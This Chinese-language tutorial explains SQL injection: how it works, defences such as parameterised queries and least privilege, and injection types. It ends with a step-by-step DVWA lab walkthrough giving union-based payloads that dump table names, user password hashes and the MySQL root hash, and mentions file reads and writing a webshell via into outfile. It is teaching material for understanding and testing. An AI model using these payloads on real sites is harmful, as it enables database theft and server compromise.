一篇文章了解SQL注入漏洞

目录
  • SQL注入漏洞原理
  • SQL注入内容
    • 注入条件
  • SQL注释符与注入流程
    • SQL注入分类
      • SQLMap 分类
      • 接受请求类型区分
      • 注入数据类型的区分
    • SQL注入思路
      • 手工注入思路
        • SQL 详细注入过程
          • 总结 

            SQL注入漏洞原理

            漏洞原理

              web页面源代码对用户提交的参数没有做出任何过滤限制,直接扔到SQL语句中去执行,导致特殊字符改变了SQL语句原来的功能和逻辑。黑客利用此漏洞执行恶意的SQL语句,如查询数据、下载数据,写webshell、执行系统命令以此来绕过登录权限限制等。

            检测方法

              可以利用sqlmap进行SQL注入的检查或利用,也可以使用其他SQL注入工具。也可以手工测,利用单引号、and 1=1以及字符型注入进行判断。

            防御措施

              (1)sql 语句预编译和绑定变量

              (2)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。

              (3)对进入数据库的特殊字符( ’ <>&*; 等)进行转义处理,或编码转换。

              (4)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。

              (5)数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。

              (6)网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。

              (7)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害.

              (8)避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。

            SQL注入内容

            注入条件

            SQL 注入需要满足以下两个条件:

            • 参数可控:从前端传给后端的参数内容是用户可以控制的
            • 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。 判断注入 当用户传入参数为 1’的时候,在数据库执行如下所示:
             select * from users where id=1' 

            此 SQL语句不符合语法规则就会报错。

            You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

            当用户传入参数为 1 and 1=1 时

            select * from users where id=1 and 1=1 

            因为 1=1 为真,id=1 也是真, and 两边均为真。所以页面会返回 id=1 的结果。

            如果用户传入参数为 1 and 1=2 时

            因为 1=2 为假 id=1 为真 and 两边有一个为假,所以页面返回与 id=1 不一样的结果。

              由此可以初步判断存在 SQL 注入漏洞,攻击者可以进一步拼接 SQL 攻击语句,进行攻击,致使信息泄露,甚至获取服务器权限。

              其实也就是看有没有回显。回显是指页面有数据信息返回。无回显是指根据输入的语句,页面没有任何变化或者没有数据库中的内容显示到网页中。

            id =1 and 1=1
            id = 1 and 1=2
            id = 1 or 1=1
            id = '1' or '1'='1'
            id=" 1 "or "1"="1"
            

            SQL注释符与注入流程

            注释符:

            • #(单行注释 注意与 url 中的#区分)
            • --空格 (单行注释 注意为短线短线空格)
            • /*()*/ (多行注释 至少存在俩处的注入 /**/常用来作为空格)

            注入流程:

            • 是否存在注入并且判断注入类型
            • 判断字段数 order by
            • 确定回显点 union select 1,2
            • 查询数据库信息 @@version @@datadir
            • 查询用户名,数据库名 user() database()
            • 文件读取 union select 1,load_file(‘C:\wondows\win.ini’)#
            • 写入 webshell select…into outfile…

            使用 sql 注入遇到转义字符串的单引号或者双引号,可使用 HEX 编码绕过。

            SQL注入分类

            SQLMap 分类

            SQL 注入类型有以下 5 种:

            UNION query SQL injection(可联合查询注入)

            Stacked queries SQL injection(可多语句查询注入)堆叠查询

            Boolean-based blind SQL injection(布尔型注入)

            Error-based SQL injection(报错型注入)

            Time-based blind SQL injection(基于时间延迟注入)

            输入命令sqlmap -hh

            输入命令sqlmap -u

            接受请求类型区分

            GET 注入

            GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要

            URL 编码

            POST 注入

            POST 请求参数是放在请求 body 里的,长度没有限制

            COOKIE 注入

            cookie 参数放在请求头信息,提交的时候 服务器会从请求头获取

            注入数据类型的区分

            int 整型

            select * from users where id=1
            

            sting 字符型

            select * from users where username=‘admin'
            

            like 搜索型

            select * from news where title like ‘%标题%'

            SQL注入思路

            1、寻找注入点,可以通过 web 扫描工具实现

            2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

            3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)还可以获取数据库的 root 账号 密码—思路

            4、可以通过获得的用户信息,寻找后台登录。

            5、利用后台或了解的进一步信息。

            手工注入思路

            1.判断是否存在注入,注入是字符型还是数字型

            2.猜解 SQL 查询语句中的字段数 order by N

            3.确定显示的字段顺序

            4.获取当前数据库

            5.获取数据库中的表

            6.获取表中的字段名

            7.查询到账户的数据

            SQL 详细注入过程

            猜数据库:

            1' union select 1,database()

            payload 利用另一种方式:

            1' union select user(),database()version()

            得到数据库名:dvwa

            PS:union 查询结合了两个 select 查询结果,根据上面的 order by 语句我们知道查询包含两列,为了能够现实两列查询结果,我们需要用 union 查询结合我们构造的另外一个 select.注意在使用 union 查询的时候需要和主查询的列数相同。

            猜表名:

            1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()

            得到表名:guestbook,users
            group_concat 分组
            猜列名:

            1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#
            1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#

            (用编码就不用单引号,用单引号就不用编码)

            得到列:

            user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password

            猜用户数据:

            列举出几种 payload:

            1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
            1' union select null,concat_ws(char(32,58,32),user,password) from users #
            1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #

            得到用户数据:

            admin 5f4dcc3b5aa765d61d8327deb882cf99

            猜 root 用户:#

            1' union select 1,group_concat(user,password) from mysql.user#

            得到 root 用户信息:

            root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

            总结 

            本文转自网络,如有侵权请联系客服删除。